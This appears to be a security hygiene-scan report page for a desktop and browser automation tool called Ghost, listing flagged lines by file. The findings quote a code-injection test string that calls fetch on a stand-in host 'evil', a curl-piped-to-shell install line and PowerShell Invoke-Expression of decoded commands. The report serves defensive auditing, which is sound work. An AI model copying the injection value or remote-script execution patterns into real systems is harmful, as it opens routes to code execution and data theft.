Ghost

What was checked

Plain notes from the hygiene checks.

• Permissions

  Note

  requests shell access. The manifest names this permission.

  PERMISSION_SHELL_DECLARED

  bench/run_bench.py, line 45

  self.p = subprocess.Popen(

  crates/ghost-session/src/shell.rs, line 9

  //! stdin, `Invoke-Expression`s the decoded command with stderr merged, then emits

  crates/ghost-session/src/shell.rs, line 228

  try{$o=Invoke-Expression $cmd 2>&1|Out-String;[Console]::Out.Write($o)}catch{[Console]::Out.Write(($_|Out-String))}

  Show more

  examples/background_agent_demo.py, line 29

  self.p = subprocess.Popen([exe], stdin=subprocess.PIPE, stdout=subprocess.PIPE,

  examples/live_showcase.py, line 21

  self.p = subprocess.Popen([exe], stdin=subprocess.PIPE, stdout=subprocess.PIPE,

  ghost-agent/agent.py, line 24

  proc = subprocess.Popen(

  kit/recipes/_ghost.py, line 40

  self.p = subprocess.Popen(

  docs/plans/2026-04-17-http-agent.md, line 187

  proc = subprocess.Popen([EXE], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)

• Install and update

  Serious

  install fetches a script from the network.

  INSTALL_REMOTE_SCRIPT

  .github/workflows/linux.yml, line 163

  curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal

• Network

  Concern

  can reach a host that is not written as a fixed address. can reach evil. The description does not name that host.

  NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

  crates/ghost-browser/src/tab.rs, line 102

  /// `awaitPromise` is on so callers can evaluate `fetch(...).then(r => r.text())`

  crates/ghost-browser/src/tab.rs, line 777

  let hostile = r#"a"); fetch("http://evil"); ("#;

  crates/ghost-http/src/main.rs, line 5

  //! curl -X POST http://127.0.0.1:7878/click -d '{"name":"Submit"}' -H "content-type: application/json"

  Show more

  crates/ghost-http/src/main.rs, line 6

  //! curl http://127.0.0.1:7878/list-windows

  crates/ghost-http/src/main.rs, line 7

  //! curl -X POST http://127.0.0.1:7878/run -d @intent.json -H "content-type: application/json"

  crates/ghost-http/src/main.rs, line 317

  // machine to POST to ghost-http via fetch() (localhost CSRF). Callers are curl/local

  crates/ghost-http/src/main.rs, line 324

  eprintln!(" curl http://{}/tools for endpoint docs", cli.addr);

  README.md, line 406

  requests.post("http://127.0.0.1:7878/launch", json={"exe": "notepad.exe"})

  README.md, line 407

  requests.post("http://127.0.0.1:7878/type",

  README.md, line 413

  await fetch("http://127.0.0.1:7878/hotkey", {

  docs/audits/round1-confirmed.json, line 220

  "problem": "The ghost-http server adds `Access-Control-Allow-Origin: *` and allows all methods/headers via CorsLayer::permissive(). Although it binds to 127.0.0.1 (loopback), the p

• Secrets

  Concern

  reads a credential or environment file.

  SECRETS_ENV_READ SECRETS_PATH_DOTENV

  crates/ghost-session/src/vision.rs, line 375

  // Return trimmed - a trailing newline from a .env loader would

  scripts/focus-lock-probe.mjs, line 24

  const server = spawn(exe, [], { stdio: ['pipe', 'pipe', 'pipe'], env: { ...process.env, ...env } });

  scripts/shell-switch-probe.mjs, line 16

  const s = spawn(exe, [], { stdio: ['pipe', 'pipe', 'pipe'], env: { ...process.env, ...env } });

• Agent instructions

  Pass

  No instruction to ignore earlier instructions or to hide a step.

• Obfuscation

  Note

  a file was over the read cap and was not fully read.

  OBFUSCATION_FILE_OVER_READ_CAP

  crates/ghost-mcp/src/main.rs, line 1

  #![recursion_limit = "512"]

  docs/research/2026-05-30-ghost-recon.json, line 1

  {

• Licence

  Pass

  A licence file is present (LICENSE).

• Maintainer activity

  Pass

  The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit f966463dcd98. requests shell access. The manifest names this permission. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach evil. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked: 19 Oct 2026

Read how this letter is chosen